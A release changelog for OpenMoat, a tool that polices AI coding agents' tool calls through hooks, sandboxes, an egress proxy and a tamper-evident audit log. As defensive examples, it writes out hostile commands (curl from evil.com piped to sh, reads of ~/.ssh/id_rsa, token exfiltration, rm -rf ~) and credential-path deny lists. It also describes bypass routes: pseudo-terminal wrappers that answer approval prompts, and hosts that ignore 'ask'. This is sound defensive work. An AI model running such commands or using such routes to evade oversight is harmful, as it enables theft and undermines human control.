  • moat edit (#300) opens ~/.moat/policy.yaml in $VISUAL, $EDITOR, vi or (Windows) notepad, on a copy inside ~/.moat. An unchanged copy changes nothing. A copy that does not lint is reported and never written, and you can reopen it. Otherwise it prints the lint warnings and a unified diff, and writes and re-pins only after Apply? [y/N] is answered y. The previous policy is kept in ~/.moat/policy.yaml.bak. It needs a terminal and an intact lock, like moat allow.
  • moat uninstall [--hosts …] [--purge] removes OpenMoat’s hooks and sandbox settings from the agents and prints what it did per file (#282). A file unchanged since moat init gets its backup back byte for byte, a file init created is deleted, and a file changed since keeps those changes. The lock stops pinning the undone files; ~/.moat stays unless --purge. It runs only from a terminal.
  • moat init records the config directory of each agent it sets up in ~/.moat/hosts.json, which the lock pins (#298). status, doctor, allow, sandbox sync and uninstall use the recorded directories, so a custom CLAUDE_CONFIG_DIR, CODEX_HOME or CURSOR_CONFIG_DIR no longer has to be exported for every command. moat doctor reports a variable that names another directory than the record instead of following it; moat init with the variable set moves the record. kernel-self protects both the recorded directory and the one the variable names. Nothing changes for agents in their default directories.
  • moat with no subcommand shows one health line (the agents whose hook is installed, today’s decisions with the number denied and asked) and then what needs a person (#299). Lock drift is listed and Accept these changes? [y/N] runs moat doctor --accept on y. The newest shell ask from today that no grant or permanent rule covers is shown with its rule and asks Allow? [o]nce for this session / [a]lways / [n]o, which runs moat allow for exactly that command. Otherwise it prints Nothing needs you. Without a terminal it prints the command to run and changes nothing.
  • moat init asks before changing an agent (#282). At a terminal it lists the agents it found with the files it would change and asks Protect Claude Code (…)? [Y/n] for each, then names the backups and Undo anytime: moat uninstall. --hosts and the new --yes skip the questions. Without a terminal and without either flag, init sets up ~/.moat but changes no agent’s files, and says how to go on: scripts that ran moat init need --yes.
  • moat status and moat doctor show an agent that moat init left out (the person said no, or named other --hosts) as · not set up instead of a missing hook and five sandbox problems. Lock drift on a Claude Code settings file no longer names theme, which is not pinned (#287).
  • kernel-self denies any moat command run under a pseudo-terminal wrapper (script, unbuffer, tmux, screen, quoted for expect, Python pty.spawn, osascript), so an agent cannot answer the questions of a bare moat (#299). An agent running moat or moat status without a wrapper still gets ask, and without a terminal moat changes nothing.
  • kernel-self denies moat edit to agents, by name, by absolute path and under every pseudo-terminal wrapper already listed for moat allow (#300).
  • kernel-self denies agent runs of moat uninstall, including through pseudo-terminal wrappers, like moat allow (#282).

Released 2026-10-07. GitHub release v0.1.0-alpha.1.

  • Lock drift on a JSON or TOML file names the top-level keys that changed since the pin, in moat doctor, in moat doctor --accept before it re-pins, and in guard’s kernel-integrity reasons: settings.json was modified: changed hooks; added theme (#288). The lock records a digest per top-level key for those files; a lock written earlier keeps the plain message until its next re-pin.
  • moat doctor and moat run print one line with the number of places a sandbox is stricter or wider than the policy instead of the whole list; --verbose prints the list (#289). Problems (a weakened setting, drift) still print in full, and moat sandbox show still prints everything.
  • moat show labels its time column time (UTC) and moat replay adds UTC to each session’s start time; both were already UTC but unlabelled (#290).
  • The policy lock leaves the top-level theme key out of Claude Code’s settings.json digest, so Claude Code writing "theme" on first run no longer denies every call with kernel-integrity (#287). Every other key stays pinned, a file that does not parse is drift, and a lock pinned before this change keeps verifying until the next re-pin.
  • kernel-self covers the state and host directories where MOAT_HOME, CLAUDE_CONFIG_DIR, CODEX_HOME or CURSOR_CONFIG_DIR moved them (#286). A write to $MOAT_HOME/policy.yaml or $CLAUDE_CONFIG_DIR/settings.json was asked (default) instead of denied; the lock caught the change only afterwards. Patterns naming ~/.moat, ~/.claude, ~/.codex or ~/.cursor now also match the moved directory, in the hook, moat policy check, moat run and the Standard-tier sandbox settings.

Released 2026-10-07. GitHub release v0.1.0-alpha.0.

  • Standard tier (ADR-018, #168, #169): moat init configures Claude Code’s and Codex’s own sandboxes from the policy through the enforcement IR (ADR-019). Claude Code’s user settings get the sandbox block (enabled, failIfUnavailable: true, allowUnsandboxedCommands: false, excludedCommands: [], absolute deny and allow lists, network.allowedDomains with strictAllowlist) and permissions.blockReadsOutsideWorkingDirectories: true; Codex’s config.toml gets a [permissions.moat] profile, default_permissions = "moat" and features.network_proxy = true. Other keys and comments are kept; each file is backed up to <file>.moat-sandbox-backup first. moat sandbox show prints what the policy compiles to with every loss (stricter) and allowance (wider); moat sandbox sync rewrites and re-pins (a person at a terminal, refused over a drifted lock). moat doctor and moat status check both hosts and print the losses.
  • Policy: the additive sandbox: { read_roots: [...] } section lists paths the host sandboxes may read although no allow rule covers them (toolchains, system and temp directories). Only OS layers use it; the hook still asks for those reads and deny rules win inside them. The default policy lists a cross-platform set; a policy without the section gets that list.
  • Differential suite (ADR-019, #170): tests/differential/scenarios.yaml runs each attack, benign flow and public sandbox-escape replay against every enforcement point on the machine (the hook decision, and each host sandbox whose binary is present) and fails on a layer that disagrees with the recorded verdict. A missing host binary skips that layer visibly. scripts/ci/differential.sh runs the full suite.
  • Differential suite: the Codex host-sandbox layer (codex sandbox -P moat) runs every scenario, with npm/cargo shims so the hook sees an allowed npm test/cargo build while the payload inside the script is what the sandbox must stop. It confirms Codex blocks every filesystem attack (secret reads, writes outside the project, shell-rc, .git hooks, settings-escape, symlink read-escape) and the documented narrower results (a .env.example read and .git writes, so git status/git commit, are denied). It surfaced a gap (#229): codex sandbox leaves direct network open, so the generated egress allowlist is enforced only by the proxy (ADR-020); the two egress rows are marked as a known gap pointing at #229, visible in the matrix.
  • Differential suite: the Claude Code host-sandbox layer runs the real claude -p --bare against a fake Anthropic API (tests/differential/fake_api.py) with the settings moat sandbox show generates (no hook), confirming Claude Code’s sandbox blocks every attack, direct egress to link-local metadata included. Benign project work cannot be verified headlessly (Claude Code establishes working directories interactively), so those rows are skipped with a visible notice pointing at #238.
  • Action::McpTool carries the paths and hosts an adapter derived from the call’s arguments (reads, writes, hosts); the engine turns them into fs.read, fs.write and net atoms, so an allowed MCP tool name can no longer read ~/.aws/credentials or fetch an unlisted host. Conformance fixtures accept mcp_tool: { name, reads, writes, hosts }.
  • Claude Code and Cursor adapters derive those paths and hosts from MCP tool_input by argument name (path, paths, file_path, source, destination, url, …); write-shaped tool names (write_*, edit_*, move_*, delete_*) and destination/target arguments produce fs.write.
  • Policy secrets: (ADR-020, docs/POLICY.md §2.1): brokered secrets, each with one exact host, a header and a source (file, env or keychain). Ids, hosts, header names and sources are validated, framing headers (Host, Content-Length, …) are refused, and a secret opens no host by itself. moat policy lint warns when no allow rule names the host, or when no deny rule keeps a file or env source from the agent. The optional plain_http: true allows injection into clear-text HTTP; it is off by default, and lint warns when it is set for a host that is not loopback. The agent’s placeholder is moat-secret:<id>:placeholder.
  • openmoat-proxy leak blocking for brokered secrets (ADR-020). It refuses a request whose head, or plain-HTTP body, carries a secret’s placeholder or value to a host other than that secret’s own, and records it as proxy-secret. Inside a body the check spans read boundaries, and the chunk that completes the secret is not forwarded. Values are zeroed on drop (zeroize) and never formatted, so reasons and Debug name only the id and host. The check matches exact bytes; docs/THREAT_MODEL.md §5 lists what it does not stop.
  • openmoat-proxy injection for brokered secrets over plain HTTP (ADR-020), only for secrets that set plain_http: true. Without it, the request is forwarded with the placeholder, and the audit row records that the secret was not injected. In a request to the secret’s host, the placeholder in the secret’s header becomes the value, and the header is added when the request has none. The rewritten head is zeroed after it is written. HTTPS is not decrypted, so it gets no injection yet.
  • moat proxy brokers the policy’s secrets:. It reads each file, env or keychain source at start-up (macOS /usr/bin/security, Linux /usr/bin/secret-tool; Windows keychains are not supported yet) and exits 64 when one cannot be read. It prints each secret’s placeholder for the agent and never the value.
  • MoatBench mini (docs/MOATBENCH.md, #132): end-to-end scenarios in tests/moatbench/<category>.yaml sent through the real moat guard as Claude Code, Codex and Cursor payloads. Each step’s verdict is read back from the audit log and checked against the host’s answer; a scorecard lists verdicts per category, false positives and known gaps (scenarios marked with their issue). Runs in the quality gate.
  • Repository policy (ADR-022, #128): a project’s <project>/.moat/policy.yaml makes the user policy stricter for every tool call in the project. Its deny groups join the user’s deny rules. Its ask groups are tried before the user’s allow rules, so an action the user allows asks, but a user deny is never softened. Its allow groups are ignored unless trusted (below). Only version, deny, ask and allow are accepted. Repository rule ids carry the prefix repo:. A repository policy that cannot be read or parsed, or that sets defaults, executables or sandbox, denies every call in the project with kernel-error; it is never ignored. moat policy check uses it unless --policy is given. The rules apply in the hook only: host sandboxes and moat proxy are generated from the user policy.
  • moat trust [<repo>] [--revoke] (ADR-022, #128) lets a repository policy’s allow groups apply. It prints each allow rule it lets in, then records the SHA-256 of the file against the canonical project root in ~/.moat/trust.json. That file is pinned by the lock and never kept in the repository. Trusted allow groups come after the user’s allow rules, so user deny rules still win. Any change to the file, or the same file in another checkout, applies in its tightening-only form again until moat trust runs again. A trust.json the lock does not pin is ignored. Like moat allow, it needs a terminal and an intact lock (refusing to change trust …, exit 64). moat status and moat doctor, run inside a project, name its repository policy and digest and say whether it is trusted, not trusted or changed since it was trusted; one that does not parse is a problem (exit 64).
  • moat run on Linux applies the Landlock rules (new dependency landlock, the rust-landlock project’s crate, Linux only) to a thread of its own that starts the agent, so the proxy thread stays unrestricted. File access and TCP connections are hard requirements (Landlock ABI 4, Linux 6.7): an older kernel is refused rather than run with the network open. Scoping of abstract Unix sockets and signals is added where the kernel has it (Linux 6.12). Windows still refuses (exit 64).
  • moat run [--write PATH]… -- <agent> [args] (Lightweight tier, ADR-018), on macOS: starts the agent under /usr/bin/sandbox-exec with the Seatbelt profile generated for the project in the current directory. The profile also lets the agent read its own executable and, with --write, read and write the given paths (its state directory); every grant is printed as an allowance before the agent starts, and deny rules still win. Network goes only to a moat proxy that moat run serves on a loopback port (HTTP_PROXY, HTTPS_PROXY, ALL_PROXY set, NO_PROXY removed); the proxy refuses loopback destinations, so the sandbox’s one open port reaches no other local service. Refused over a drifted policy lock, outside a project, and on Windows (exit 64). It tells the user to turn the agent’s own sandbox off: Seatbelt does not nest. Ctrl-C belongs to the agent; moat run keeps serving. New exit code 1: the agent exited non-zero.
  • Lightweight tier on Linux, first part: the Landlock rules generated from the IR for the project in the current directory (crates/openmoat-cli/src/sandbox/landlock.rs), printed by moat sandbox show (lightweight.landlock). Reads and executes go only below the project, sandbox.read_roots, the agent’s executable and a few devices; writes go below the project, the temp directory and --write paths; TCP connections go only to the proxy’s port. Landlock only grants, so the report lists where it is wider than the IR: a deny rule or ! exception inside a granted tree (**/.env in the project, ~/.cargo/credentials.toml in a read root, the project’s .git), and the proxy’s port on any host. UDP and Unix sockets are closed by the seccomp filter (#248, under Security).
  • Lightweight tier (ADR-018), first part: a Seatbelt profile generated from the IR for the project in the current directory, printed by moat sandbox show (lightweight.seatbelt in --format json) with its losses and allowances; golden in tests/fixtures/sandbox/seatbelt-default.sb. Everything is denied except the platform basics, the IR’s read and write rules, sandbox.read_roots and the temp directory; the policy’s deny rules come last with their ! exceptions, and the keychain’s services are denied whatever the policy says.
  • Policy compiler (ADR-019): openmoat_core::ir::lower derives what an operating-system layer can enforce from policy.yaml: read and write path rules, net and fetch host rules, and their defaults. Rules are expanded for the session. Shell, env, MCP and executable rules are listed as decide-only, and every ask lowers to deny and is reported as a loss. Lowering never widens. A test checks the IR against the engine on every fs, net and fetch conformance fixture, and a property test checks generated policies. moat policy compile [--format json] prints the IR and its losses. The Standard and Lightweight tiers are generated from it.
  • Tamper-evident audit log: every event stores prev_hash and hash, a SHA-256 over a length-prefixed canonical encoding of its stored cells and prev_hash (docs/ARCHITECTURE.md §7), so editing, deleting or reordering an event in the middle of the log breaks the chain. moat doctor verifies the whole chain and exits 64 naming the first broken event; moat show --format json includes both hashes. Concurrent guard processes append inside one BEGIN IMMEDIATE transaction each, so the chain never forks, and a failed write is still a deny. Audit schema 2; events written before the upgrade are reported as not covered rather than hashed after the fact. The chain is unkeyed and does not detect deletion of the newest events or a rewrite by someone who can write the file (docs/THREAT_MODEL.md §5; #129 tracks anchoring the head hash outside the machine).
  • moat audit export [--since …] [--host …] [--session …] writes audit events to stdout as JSON Lines, oldest first (#129). Each line is one event in format moat-audit-export-v1 (docs/ARCHITECTURE.md §7): the stored cells exactly as the hash chain covers them, including action, rules and reasons as their stored redacted JSON, plus prev_hash and hash. Nothing is re-redacted or added, so the file holds no more than the store. Events written before the chain existed are left out.
  • moat audit verify <file> [--anchor <hash>] [--format json] checks an export without the database (#129). Every line must match its hash, ids must rise, and consecutive ids must link. It names the first bad line and exits 64. It prints the head hash (the last event’s hash), and moat doctor now prints the database’s head too. Record a head somewhere else (a ticket, a commit). A later moat audit verify --anchor <hash> then fails unless a verified event carries that hash, which catches truncation and rewrites up to the anchored event. Gaps in ids are reported, not failed: a filtered export has them, and so does deleting events (docs/THREAT_MODEL.md §5).
  • moat audit report <file>… [--format json] builds a team report from exports of one or more machines (#129). Every file must verify first, otherwise the command exits 64 and names the file and line. Events present in several files are counted once. The report contains the moat report summary, each file’s head hash, verdicts per host, asks and denies per rule, the most frequent asked and denied actions, and false-positive candidates. A false-positive candidate is an action that asked and that a person also approved with moat allow.
  • moat proxy [--listen 127.0.0.1:18080], the default-deny egress proxy from ADR-020 (new crate openmoat-proxy, on std::net and httparse; the reuse evaluation is docs/notes/proxy-evaluation.md). moat run sends the agent’s traffic through it. What it does:
    • It serves CONNECT tunnels and absolute-form http:// requests on a loopback address only.
    • Hosts are decided like a fetch tool’s URL (fetch and net lists, deny first). An ask is refused.
    • Loopback, link-local, cloud metadata and non-unicast destinations are refused whatever the policy says. This applies to the name and to every address the proxy itself resolves (DNS rebinding).
    • A tunnel’s TLS ClientHello must carry the CONNECT host as its SNI before one byte is forwarded. Nothing is decrypted.
    • Plain HTTP loses hop-by-hop and Proxy-* headers. Ambiguous body framing and a Host that differs from the target are refused.
    • Every connection decision is an audit row (host proxy), and a connection that cannot be recorded is refused.
    • Limits: 16 KiB heads, 10 s to send them, 120 s idle, 256 concurrent connections.
    • A refused connection is drained for at most 1 s and 1 MiB before it closes, so the client reads why (on Windows a reset would discard the answer).
    • It refuses to start over a drifted policy lock.
    • New proxy_parse fuzz target.
    • Per-host method and path rules (TLS termination) are not included yet.
  • Release workflow (dist): a v* tag builds moat for macOS (arm64, x64), Linux (x64, arm64; glibc and static musl) and Windows (x64), with shell and PowerShell installers, sha256.sum, GitHub build attestations, a Homebrew formula in crocodile-labs/homebrew-tap (brew install crocodile-labs/tap/moat) and crates.io trusted publishing behind the release environment. Release notes come from this file and state that decisions are not enforced by the OS (ADR-013).
  • Policy engine: schema v1 with deny → allow → ask → defaults evaluation, per-kind defaults, absolute deny, strictest-wins across atomic actions.
  • Shell classification: POSIX lexer (quotes, escapes, redirects, $(…), backticks, here-documents), sub-commands, subshells, eval, sh -c, wrappers, inline interpreters, environment reads/sets, path and host extraction.
  • Host adapters for Claude Code and Codex PreToolUse hooks, and for Cursor (beforeShellExecution, beforeMCPExecution, beforeReadFile, preToolUse; moat init writes a fail-closed ~/.cursor/hooks.json).
  • Audit log in SQLite (WAL) with credential redaction; time-window and per-session queries (since, sessions_since, summary); moat show [id | --session | --since | --recent], moat replay (per-session timeline, --since/--session/--host) and moat report (verdict totals, hosts, top rules, asks per active hour). Windows accept all, today, yesterday, 12h, 7d, 2w or YYYY-MM-DD.
  • moat status exits 64 when the installation is unhealthy (missing policy, lock drift, broken hook, missing audit log) so scripts can test it.
  • moat init (policy, audit log, idempotent hook installation), moat guard (fail-closed), moat policy lint|check.
  • Default policy v1 and 95 conformance fixtures (63 attacks, 20 benign, 12 ask).
  • Host configuration directories can be overridden for tests and unusual installs: CLAUDE_CONFIG_DIR, CODEX_HOME, CURSOR_CONFIG_DIR; state directory via MOAT_HOME.
  • policy.lock: moat init pins SHA-256 digests of the policy and every installed host hook file; moat guard verifies them on every call and denies everything with rule kernel-integrity when a pinned file changed or disappeared.
  • moat status reports lock state; re-running moat init re-pins.
  • Claude Code ConfigChange hook: when a settings file pinned by the lock is edited or deleted outside moat, the change is refused for the running session (rule kernel-integrity); unpinned settings files load and are audited.
  • Executable pinning: moat init snapshots the search path and the location of common programs in ~/.moat/environment.json (pinned by the lock); moat guard resolves every shell command’s program through the snapshot and denies pinned programs that resolve elsewhere (rule executables). Policy executables: pins are now enforced.
  • Approvals: moat allow --last (or moat allow <command> --host … --session …) grants one exact command to one host session; moat allow … --always appends a permanent allow rule to ~/.moat/policy.d/approved.yaml, merged into the policy at load. Both files are pinned by the lock; moat allow is terminal-only and denied to agents by the default policy.
  • moat doctor [--accept]: verifies state directory, policy, lock, hooks, binary path and audit log; --accept re-pins and is refused outside an interactive terminal.
  • Continue CLI (#264): an ask no longer lets a cn call run. cn runs OpenMoat’s Claude Code hook (it loads ~/.claude/settings.json) and ignores permissionDecision: "ask". moat guard --host claude-code now recognises cn by the CONTINUE_PROJECT_DIR variable it sets for hooks, or by the empty transcript_path it sends, and records the call as host continue. cn receives every ask as a deny (exit 2) with the instruction to approve it with moat allow --last, as Codex does; the audit log keeps the ask. Other decisions are the same as for Claude Code. cn still runs the call when the hook crashes or times out. The released Continue CLI (1.5.47) does not run hooks, so OpenMoat cannot check its tool calls: moat doctor and moat status now warn (exit code unchanged) when cn is on the search path or its directory (~/.continue, or CONTINUE_GLOBAL_DIR) exists, and say to run it under moat run.

  • Cursor: an ask no longer lets a preToolUse or beforeReadFile call run (#276). Cursor’s hook docs say ask is “accepted by the schema but not enforced” for preToolUse, and beforeReadFile takes only allow or deny, so a Write, Delete, Read or Grep that needed approval (a write outside the project, a read with no matching rule) ran unprompted. Those calls now get a deny (exit 2) whose reason says to add a policy allow rule and run moat doctor --accept; the audit log still records the ask. beforeShellExecution and beforeMCPExecution keep ask, which Cursor prompts for, and moat allow --last still approves shell commands.

  • Cursor preToolUse: a Grep that names its target with file_path reads that path (#138). A live cursor-agent capture shows Grep sends tool_input.file_path, not path, so Grep of ~/.aws/credentials was read as a search of the workspace and only asked, and Cursor does not enforce ask for preToolUse. It is now denied by secrets-paths. Searches read every path under path, file_path, target_file, target_directory and target_directories, and any other tool that names a path under those keys is checked as reading it instead of passing as ungoverned (a non-string path is an adapter error, so a deny). Shell, Task and MCP:<tool> stay ungoverned there; beforeShellExecution and beforeMCPExecution govern the first and last.

  • moat proxy checks a TLS server name (SNI) the way it checks the CONNECT host, as a DNS name or IPv4 literal (#244, found by the proxy_parse fuzz target). A host_name of . used to come out as an empty name, and names with spaces, empty labels or control characters were taken as they were. The tunnel was still closed because no CONNECT host could match, but the refusal named a bogus server name. Such a ClientHello is now malformed.

  • moat run on Linux applies a seccomp filter (seccompiler) after the Landlock rules, on the thread that starts the agent (#248). The agent and its commands may create only IPv4 and IPv6 TCP sockets, which Landlock limits to the proxy’s port; every other socket() fails with EPERM: Unix sockets (a script could reach the user’s D-Bus session bus and start a process outside the sandbox), UDP, raw, netlink, packet, SCTP and MPTCP. io_uring_* (which creates sockets around the filter), ptrace and process_vm_readv/writev fail too, so debuggers do not work inside. Names resolve only through the proxy, as on macOS: a tool that ignores HTTP(S)_PROXY cannot resolve them. socketpair() stays allowed. The landlock.sockets allowance is gone from moat run and moat sandbox show.

  • Standard tier (#229): the host sandboxes can send their commands’ traffic through moat proxy, opt-in with the policy’s new additive sandbox.proxy_port. Without it, generation is as before (each host’s own proxy enforces the domain allowlist), except that Codex’s profile now states allow_local_binding = false, so turning it on is drift and moat doctor names it. With it:

    • Claude Code’s settings set sandbox.network.httpProxyPort and socksProxyPort to that port. Sandboxed commands then have no route out except moat proxy, which decides by the policy, refuses local and metadata addresses, injects brokered secrets and records each connection. With the proxy stopped they have no network, and programs that speak only SOCKS5 have none.
    • Codex’s profile adds allow_upstream_proxy = true. Codex’s own proxy hands what it allows to moat proxy when Codex starts with HTTP(S)_PROXY naming it; config.toml cannot set that, so it is listed as the codex.upstream allowance.
    • moat proxy without --listen uses the port.
    • moat doctor and moat status warn when nothing listens there, and name a missing or changed proxy port or allow_upstream_proxy = false.
    • Without the opt-in, a hand-set Claude Code proxy port is reported, because it replaces the allowlist.

    Proxy routing stays opt-in until moat init can install moat proxy as a user service (#272).

  • Differential suite (#229): both host layers opt into sandbox.proxy_port and run with moat proxy, Codex with HTTP(S)_PROXY naming it, and the Claude Code layer checks that the unlisted host reached moat proxy. The egress rows use curl -f: Codex’s proxy answers a refused plain-HTTP request with a 403, which plain curl reported as success, so the metadata row looked completed although no connection was made. Both rows now pass under Codex and the gap: #229 markers are removed.

  • sed scripts are read as sed, not scanned as file names (#212, shell/sed/). r FILE/R FILE are file reads and w FILE/s///w FILE file writes, so sed '1r /Users/me/.ssh/id_rsa' x is denied by secrets-paths and sed -n '1w /Users/me/.zshrc' x by shell-rc (both asked before, without naming the file). sed does not expand ~, so w ~/x is a write of ./~/x. The script’s own words are no longer file reads (sed -n '/a/,/b/p' f used to read /a/,/b/p). A script that runs a command (e, s///e) or cannot be read, -f, -i and unknown options become a sed @<text> shell action, which asks.

  • destructive denies a recursive rm of the home directory or the root in every flag spelling and operand form: rm -rf ~/, rm -rf $HOME/, rm -Rf ~, rm -r -f ~, rm --recursive --force ~, rm -rf build ~, rm ~ -rf and rm -rf // asked (default) because only the exact strings rm -rf ~, rm -fr ~, rm -rf ~/*, rm -rf $HOME, rm -rf / and rm -rf /* were listed (#210, found by MoatBench mini). rm -rf ~/tmp/build and rm -rf node_modules still ask.

  • destructive denies any write to the home directory or the root itself (fs.write of exactly ~ and /), whatever the program, flags or spelling of the path. rm -rf ~/, rm -rf /Users/me/, rm -rf ${HOME}, rm -Rf ~, rm -r -f ~, rm --recursive --force ~, rm ~ -rf, rm -rf ~/proj/.. and mv ~ /tmp/x asked (default) because only the exact strings rm -rf ~, rm -fr ~, rm -rf ~/*, rm -rf $HOME, rm -rf / and rm -rf /* were listed (#210, found by MoatBench mini). Those shell patterns are replaced by the path rule plus one rm pattern for what a path cannot show: an unexpanded /*, ~/*, $HOME/*, ${HOME}/*, and //. Writes below the home directory (mkdir ~/x, rm -rf ~/tmp/build) still ask. A command whose destination is the home directory itself (cp f ~/, mv f ~, touch ~, chmod 700 ~) is now denied instead of asked, because the classifier reports it as a write of that directory. Host sandbox generation: a write deny on / was lowered as a / subtree deny (every sandboxed write refused) because the directory-node check looked for entries below //; a root node is now left to the hook like other directory nodes.

  • kernel-self denies moat trust to agents, by name, by absolute path and under every pseudo-terminal wrapper already listed for moat allow (script, expect, unbuffer, Python pty.spawn, tmux, screen, osascript). moat sandbox sync gets the same coverage. It re-pins the lock and needs a terminal like moat allow, but an agent running it used to only ask (default). moat sandbox show is unaffected.

  • moat proxy refuses private and shared addresses: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 100.64.0.0/10 (CGNAT), 198.18.0.0/15 and fc00::/7, in IPv4-mapped, IPv4-compatible and NAT64 spellings too. The check covers IP literals and every resolved address, and one such address refuses the name (proxy-address, naming the range). Before, a wildcard net or fetch allow whose name resolved into the LAN reached internal services. To open one, list the address in a net or fetch allow, exactly (10.0.0.5) or as a glob starting with a digit or containing : (192.168.1.*). A wildcard such as * never opens one.

  • Standard tier, Claude Code (#203): sandboxed commands can run git commit again. Instead of denying every .git, the generated settings deny only what makes git run code or follow another repository (/**/.git/hooks, /**/.git/config, /**/.git/config.worktree, /**/.git/info/attributes, /**/.git/worktrees/*/{config.worktree,commondir} and the same under /**/.git/modules/**), listed as the claude-code.git-internals allowance (ADR-021 amendment). A script can still rewrite refs and objects; the hook still asks for file-tool writes to .git. Codex keeps .git read-only.

  • Standard tier: sandboxed commands (Claude Code Bash, PowerShell, Monitor; every Codex command), and the scripts they start, can no longer read secrets-paths, read outside the project and the read roots, write outside the project and the temp directory, or reach hosts outside the registries allowlist; the hook decided these before, the OS now enforces them. Codex’s built-in workspace-write let npm test read ~/.ssh and ~/.aws; the generated profile denies them. The policy lock pins Claude Code’s settings.json as before and the part of Codex’s config.toml moat owns (codex_profiles, additive to lock version 1), so editing either is kernel-integrity while Codex’s own keys (trusted projects) stay editable. Losses: .env.example-style templates are unreadable for sandboxed commands, .git is read-only for them (commit outside the sandbox), and Claude Code’s file tools refuse reads outside the working directories.

  • Session taint (ADR-020, #173). moat guard reads the session’s earlier calls from the audit log and tightens the next decision with rule session-taint. After a secret read (a secrets-paths read the policy let run), net, fetch and MCP calls ask. After a fetch or an MCP result, writes to CI workflows, git hooks, .vscode, package.json, Makefile, build.rs and agent instruction or settings files ask. Taint never loosens a decision: under Codex, which cannot ask, these calls are denied. A session history that cannot be read denies the call. Conformance fixtures accept session: for these chains.

  • Codex: an ask no longer lets the call run. Codex’s PreToolUse rejects permissionDecision: "ask" as unsupported and then proceeds (codex-rs/hooks/src/engine/output_parser.rs). Every ask (package installs, unparseable commands, writes outside the project) therefore ran unprompted under Codex. Codex now receives such calls as a deny (exit 2) with the instruction to approve them with moat allow --last. The audit log still records the ask. Codex’s PermissionRequest hook cannot carry it instead: Codex runs that hook only after its own approval policy decides to prompt (#178). moat init does not install it, and guard denies that event (exit 2).

  • moat allow (session grants and --always) refuses with exit 64 when the policy lock shows drift, listing each changed file and pointing to moat doctor and moat doctor --accept; nothing is written. It used to write the grant or overlay and re-pin every pinned file, so approving one command silently accepted a tampered policy, overlay or hook file. With an intact lock it still writes and re-pins as before.

  • Claude Code ConfigChange: a /settings-review copy (<file>.proposed-<8 hex>, which Claude Code renames over <file> only if no hook blocks) is judged as its target. When <file> is pinned, the copy is blocked (kernel-integrity) unless <file> still matches the lock and the copy’s contents equal the pinned ones. Before, the copy was unpinned and loaded, and only the next tool call’s lock check caught the changed hook file.

  • Claude Code: a Glob whose pattern is absolute or starts with ~ reads the pattern’s directory (everything before the last separator ahead of the first *, ?, [ or {), as well as path when given. Claude Code searches that directory and ignores path, so Glob of ~/.ssh/id_* with path set to the project was allowed by project-fs; it is now denied by secrets-paths.

  • Claude Code: SendFile (sends files to another session) reads every file in files, through a new Action::ReadFiles { paths } checked as one fs.read per file; a payload with no files or a non-string entry is denied as an adapter error. It was outside the hook matcher and so ungoverned, which let SendFile of ~/.ssh/id_rsa through; the matcher now includes it (re-run moat init; moat doctor reports the old matcher as stale).

  • Session grants (moat allow --last, moat allow <cmd> --session …) expire 24 hours after they are written; they used to stay valid for their session id forever. guard ignores expired grants, writing approvals.json drops them, and moat status shows the number of active grants and the age of the oldest. A grant without granted_at_ms (hand-written, or from a pre-release file) counts as expired instead of failing to parse. Permanent --always rules are unchanged.

  • moat allow and moat doctor --accept keep every hook file the lock already pins. They used to re-pin only the hook files found under their own CLAUDE_CONFIG_DIR, CODEX_HOME or CURSOR_CONFIG_DIR, so run from a shell where those differ from the agent’s, they dropped the agent’s hook file from policy.lock and later edits to it went unseen. Only moat init adds a hook file to the lock; moat doctor and moat status report an installed hook file the lock does not pin (run moat init) and a pinned hook file outside the current environment.

  • New cloud-metadata deny group in the default policy, covering network to 169.254.*, fe80:*, fd00:ec2::254, 100.100.100.200, metadata.google.internal and metadata.goog. These services hand out cloud credentials. Shell network to them was already denied by defaults: net: deny. A host fetch tool would have asked under defaults: fetch: ask (ADR-017). A net deny covers fetch, so now both are denied by name.

  • Default policy: secrets-paths now also covers ~/.git-credentials, ~/.npmrc, ~/.pypirc, ~/.cargo/credentials(.toml), ~/.config/gcloud/**, ~/.azure/**, ~/.zsh_history and ~/.bash_history. Before this, reading them asked instead of being denied. .env.example, .env.sample and .env.template are excluded, because they are committed templates; reading one was denied before. project-fs now also allows reading the project root itself, so Grep and Glob with no path no longer ask.

  • destructive denies deleting a remote branch: git push origin :main, git push origin --delete main, git push -d origin main and d bundled with other short options (-vd). Previously these asked (push).

  • git global options no longer hide the subcommand: git -C dir push --force, git -c core.sshCommand=… push -f, git --git-dir=x --work-tree=y push origin +main and git -C .. reset --hard are denied by destructive (previously asked), and git -C crates/x status is allowed by dev-shell. A -c/--config-env key that can run a program (anything outside a short inert list such as color.*, user.name), --exec-path= and unknown global options keep the command at ask, so git -c core.fsmonitor='sh -c …' status and git -c core.hooksPath=… commit cannot ride on a dev-shell allow.

  • Here-document bodies with an unquoted delimiter are expanded the way the shell expands them: $( … ), backticks and $VAR inside are classified, so cat <<EOF with a $(curl https://evil.com/x.sh | sh) or $(cat ~/.ssh/id_rsa) line and curl -d @- … <<EOF with a $GITHUB_TOKEN line are denied (previously allowed by dev-shell, or asked). A shell or interpreter reading stdin runs the body as its program, like a here-string: bash <<'EOF' with cat ~/.ssh/id_rsa is denied by secrets-paths, python3 - <<'EOF' naming a URL by default.net. A quoted delimiter (<<'EOF', <<"EOF", <<\EOF) keeps the body literal data.

  • destructive denies every spelling of a force push: a +refspec (git push origin +main, +HEAD:main), --force*/-f after the remote (git push origin main -f) and f bundled with other short options (git push -uf origin main). Previously only --force*/-f* directly after push were denied and the rest asked (push).

  • kernel-self denies more pseudo-terminal routes to moat allow|doctor|init|policy: script and expect by absolute path (/usr/bin/script -q /dev/null moat doctor --accept), python3 -c 'import pty; pty.spawn(["moat", …])', tmux new|send-keys … and screen -dm … running moat, and osascript -e 'tell app "Terminal" to do script "moat …"'. Previously these asked while the plain forms were denied (ADR-014).

  • Lexer: <<< here-strings are a redirect whose word is stdin data; they were read as a here-document with no terminating line, so cat <<< hi and grep x <<< "$v" were unparseable (ask). Substitutions and variables in the word are classified (cat <<< "$(curl https://evil.com)" is denied by default.net, curl -d @- … <<< "$GITHUB_TOKEN" by env-secrets), and a shell or interpreter reading stdin runs it as its program (bash <<< 'cat ~/.ssh/id_rsa' is denied by secrets-paths).

  • Shell classification: a shell’s own options are parsed, so bash -lc '…' (how Codex runs every command), zsh -ic, sh -ec, /bin/bash -lc, bash -c -- '…', bash --login -c and dash -o errexit -xc classify the command string; previously only a literal -c argument was recognised and these asked (default) even when the inner command was denied, such as bash -lc 'cat ~/.ssh/id_rsa'. An option the classifier does not know for that shell makes the command unparseable. base64 -d f | bash -o pipefail and bash -s arg are recognised as reading the program from stdin (pipe-to-shell).

